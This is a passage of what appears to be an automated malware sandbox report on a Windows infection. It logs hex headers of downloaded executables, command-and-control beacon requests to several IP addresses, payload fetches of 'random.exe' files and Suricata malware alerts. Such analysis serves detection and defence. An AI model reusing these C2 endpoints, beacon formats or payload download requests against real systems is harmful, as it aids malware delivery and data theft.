00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 20:20:45 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Fri, 22 Nov 2024 20:06:53 GMTETag: "731c00-62785ec91aad0"Accept-Ranges: bytesContent-Length: 7543808Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 18 65 40 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 08 44 00 00 18 73 00 00 32 00 00 a0 14 00 00 00 10 00 00 00 20 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 a0 73 00 00 04 00 00 ac e7 73 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 30 70 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 70 00 7c 1a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 a4 6f 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 37 70 00 70 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fc 06 44 00 00 10 00 00 00 08 44 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 c0 2a 17 00 00 20 44 00 00 2c 17 00 00 0c 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 e8 69 14 00 00 50 5b 00 00 6a 14 00 00 38 5b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d 50 2f 00 00 00 c0 6f 00 00 30 00 00 00 a2 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 60 31 00 00 00 f0 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 50 28 00 00 00 30 70 00 00 2a 00 00 00 d2 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 30 00 00 00 00 60 70 00 00 02 00 00 00 fc 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 70 70 00 00 02 00 00 00 fe 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 7c 1a 03 00 00 80 70 00 00 1c 03 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 20:21:03 GMTContent-Type: application/octet-streamContent-Length: 4410880Last-Modified: Fri, 22 Nov 2024 20:02:40 GMTConnection: keep-aliveETag: "6740e360-434e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 30 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 c5 00 00 04 00 00 fd 78 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 19 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 19 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6b 69 68 63 6b 79 7a 00 a0 1b 00 00 80 a9 00 00 9c 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6e 71 68 63 68 66 76 00 10 00 00 00 20 c5 00 00 04 00 00 00 28 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 c5 00 00 22 00 00 00 2c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 20:21:07 GMTContent-Type: application/octet-streamContent-Length: 2819584Last-Modified: Fri, 22 Nov 2024 19:31:44 GMTConnection: keep-aliveETag: "6740dc20-2b0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 57 d5 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 61 6a 65 79 72 68 79 00 c0 2a 00 00 a0 00 00 00 a6 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 71 73 6b 66 66 71 6f 00 20 00 00 00 60 2b 00 00 04 00 00 00 e0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 32 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008255001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 32 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008256001&unit=246122658369
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 46 39 34 36 43 38 45 44 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="hwid"B8F946C8ED473625698399------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="build"mars------JJDHIDBFBFHIJKFHCGIE--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 32 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008257001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 32 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008258001&unit=246122658369
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /Files/4.exe HTTP/1.1Host: 103.130.147.211
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHCFBAKFBGDGDHJKJJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 46 39 34 36 43 38 45 44 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="hwid"B8F946C8ED473625698399------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="build"mars------FIDHCFBAKFBGDGDHJKJJ--
Source: global traffic HTTP traffic detected: GET /IYhWwFtYdnqYbODzcCzq1732273107 HTTP/1.1Host: home.sevkk17sr.topAccept: */*
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 32 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008259001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDHCGCBKFHJKEBKFBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 46 39 34 36 43 38 45 44 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 2d 2d 0d 0a Data Ascii: ------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="hwid"B8F946C8ED473625698399------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="build"mars------HDGDHCGCBKFHJKEBKFBF--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 103.130.147.211 103.130.147.211
Source: Joe Sandbox View IP Address: 103.130.147.211 103.130.147.211
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: MYREPUBLIC-AS-IDPTEkaMasRepublikID MYREPUBLIC-AS-IDPTEkaMasRepublikID
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49821 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49841 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49842 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49850 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49865 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49882 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49883 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49898 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49912 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49932 -> 103.130.147.211:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49927 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49942 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49954 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49965 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49985 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49983 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49993 -> 185.215.113.16:80
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E5BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile, 6_2_00E5BE30
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
